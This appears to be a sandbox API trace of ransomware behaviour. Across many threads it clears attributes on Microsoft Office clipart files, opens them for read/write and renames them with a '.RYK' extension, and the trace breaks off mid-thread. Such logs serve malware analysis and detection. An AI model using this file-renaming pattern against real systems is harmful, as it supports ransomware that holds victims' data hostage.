	[0235.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.658] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.658] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1637
	os_tid = 0x1f9c

	[0235.756] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF", dwFileAttributes=0x80) returned 0
	[0235.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.756] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.757] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1638
	os_tid = 0x1fa0

	[0235.758] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF", dwFileAttributes=0x80) returned 0
	[0235.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.758] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.759] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1639
	os_tid = 0x1fa4

	[0235.760] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF", dwFileAttributes=0x80) returned 0
	[0235.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.760] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.761] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1640
	os_tid = 0x1fa8

	[0235.762] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF", dwFileAttributes=0x80) returned 0
	[0235.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.144] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.144] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1641
	os_tid = 0x1fac

	[0235.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF", dwFileAttributes=0x80) returned 0
	[0235.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.239] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.239] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1642
	os_tid = 0x1fb0

	[0235.764] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF", dwFileAttributes=0x80) returned 0
	[0235.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.240] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.240] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1643
	os_tid = 0x1fb4

	[0235.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF", dwFileAttributes=0x80) returned 0
	[0235.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.242] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.242] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1644
	os_tid = 0x1fb8

	[0235.767] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF", dwFileAttributes=0x80) returned 0
	[0235.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.261] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.261] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1645
	os_tid = 0x1fbc

	[0235.924] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF", dwFileAttributes=0x80) returned 0
	[0236.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.494] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.494] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1648
	os_tid = 0x1fc8

	[0235.924] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF", dwFileAttributes=0x80) returned 0
	[0236.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.689] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.689] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1649
	os_tid = 0x1fcc

	[0235.925] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF", dwFileAttributes=0x80) returned 0
	[0236.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.256] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.257] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1650
	os_tid = 0x1fd0

	[0235.925] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF", dwFileAttributes=0x80) returned 0
	[0236.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.255] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.255] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1651
	os_tid = 0x1fd4

	[0235.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF", dwFileAttributes=0x80) returned 0
	[0236.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.253] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.253] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1652
	os_tid = 0x1fd8

	[0235.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF", dwFileAttributes=0x80) returned 0
	[0236.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.252] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.252] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1653
	os_tid = 0x1fdc

	[0235.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF", dwFileAttributes=0x80) returned 0
	[0236.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.250] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.251] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1654
	os_tid = 0x1fe0

	[0235.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF", dwFileAttributes=0x80) returned 0
	[0236.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.690] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.690] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1655
	os_tid = 0x1fe4

	[0235.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF", dwFileAttributes=0x80) returned 0
	[0236.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.691] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.692] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1656
	os_tid = 0x1fe8

	[0235.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF", dwFileAttributes=0x80) returned 0
	[0236.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.247] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.248] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1657
	os_tid = 0x1fec

	[0235.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF", dwFileAttributes=0x80) returned 0
	[0236.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.693] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.693] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1658
	os_tid = 0x1ff0

	[0235.929] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF", dwFileAttributes=0x80) returned 0
	[0236.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.245] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.245] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1659
	os_tid = 0x1ff4

	[0235.929] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF", dwFileAttributes=0x80) returned 0
	[0236.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.694] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.694] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1660
	os_tid = 0x1ff8

	[0236.146] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF", dwFileAttributes=0x80) returned 0
	[0236.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.716] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.716] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1661
	os_tid = 0x2004

	[0236.147] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF", dwFileAttributes=0x80) returned 0
	[0236.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.715] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.715] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1662
	os_tid = 0x2008

	[0236.148] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF", dwFileAttributes=0x80) returned 0
	[0236.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.706] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.706] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1663
	os_tid = 0x200c

	[0236.149] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF", dwFileAttributes=0x80) returned 0
	[0236.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.705] CloseHandle (hObject=0xffffffffffffffff) returned 0
